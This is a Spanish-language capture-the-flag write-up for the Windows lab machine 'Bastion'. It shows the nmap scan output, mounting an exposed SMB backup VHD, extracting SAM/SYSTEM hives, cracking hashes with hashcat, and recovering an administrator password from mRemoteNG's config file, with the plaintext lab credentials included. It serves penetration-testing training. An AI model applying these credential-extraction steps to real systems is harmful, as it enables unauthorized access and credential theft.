Bastion

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Windows | Easy | 27 Abril 2019 | L4mpje |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 21:22 -03
Initiating SYN Stealth Scan at 21:22
Scanning 10.10.10.134 [65535 ports]
Discovered open port 135/tcp on 10.10.10.134
Discovered open port 22/tcp on 10.10.10.134
Discovered open port 445/tcp on 10.10.10.134
Discovered open port 139/tcp on 10.10.10.134
Discovered open port 49669/tcp on 10.10.10.134
Discovered open port 49667/tcp on 10.10.10.134
Discovered open port 5985/tcp on 10.10.10.134
Discovered open port 49664/tcp on 10.10.10.134
Discovered open port 49665/tcp on 10.10.10.134
Discovered open port 49666/tcp on 10.10.10.134
Discovered open port 49668/tcp on 10.10.10.134
Discovered open port 49670/tcp on 10.10.10.134
Discovered open port 47001/tcp on 10.10.10.134
Completed SYN Stealth Scan at 21:22, 17.54s elapsed (65535 total ports)
Nmap scan report for 10.10.10.134
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-19 21:22:01 -03 for 18s
Not shown: 60960 closed tcp ports (reset), 4562 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.62 seconds
Raw packets sent: 84850 (3.733MB) | Rcvd: 62788 (2.512MB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -oN servicesScan 10.10.10.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 21:22 -03
Nmap scan report for 10.10.10.134 (10.10.10.134)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-03-20T01:25:17+01:00
|_clock-skew: mean: -18m15s, deviation: 34m37s, median: 1m43s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-03-20T00:25:18
|_ start_date: 2025-03-19T22:01:45
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.39 seconds
Explotación inicial
SMB (445)
Encontramos dos archivos .vhd.
Un archivo VHD es un formato de archivo que permite encapsular un disco duro en un archivo individual. Se le conoce como Disco Duro Virtual (VHD).
Características
- Tiene funcionalidades similares a una unidad de disco duro física.
- Puede contener particiones de disco, un sistema de archivos, archivos y carpetas.
- Se puede almacenar en cualquier ubicación accesible para el host físico.
- Se puede transportar en un dispositivo de memoria flash USB.
Motando el archivo VHD.
- Instalar los siguientes paquetes
apt-get install libguestfs-tools cifs-utils -y
- Creamos un punto de montaje en nuestra máquina atacante
- Montamos el recurso compartido remoto.
sudo mount -t cifs //10.10.10.134/Backups /mnt/remote -o username=guest,password=
Creamos otro punto de montaje para el archivo VHD.
guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v
Crackeamos los hashes de los usuarios, para lo cual extraemos los hives (colmenas) SAM y SYSTEM.
Rompemos el hash con hashcat:
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.tx
L4mpje:bureaulampje
Nos conectamos por SSH.
ssh L4mpje@10.10.10.134
Elevación de privilegios
Si realizamos un enumeración del sistema, encontramos instalado el software mRemoteNG
, es un programa para realizar tareas de administración remotas en ordenadores y servidores.
La versión instalada es la 1.76.1
segun marca en el archivo Changelog.txt.
Esta versión es utiliza métodos de almacenamiento inseguros, lo que lo hace vulnerable a la divulgación de credenciales.
Referencias: https://hackersvanguard.com/mremoteng-insecure-password-storage/
Para aprovecha esta vulnerabilidad y recuperar las credenciales de administrador, podemos utilizar el propio software https://mremoteng.org/download
Descargamos el archivo de configuración a nuestra máquina atacante.
scp l4mpje@10.10.10.134:/users/l4mpje/AppData/Roaming/mRemoteNG/confCons.xml confCons.xml
Utilizando una máquina windows alternativa, importamos esta configuración en el software mRemoteNG.
Ahora nos movemos a Tools/External Tools
A continuación, en Propiedades de herramientas externas, complete un Nombre para mostrar, un Nombre de archivo y algunos argumentos, con búsqueda de contraseña.
Debería aparecer un mensaje encima donde se repetirá la contraseña.
Administrator:thXLHM96BeKL0ER2
Leemos el flag de root.txt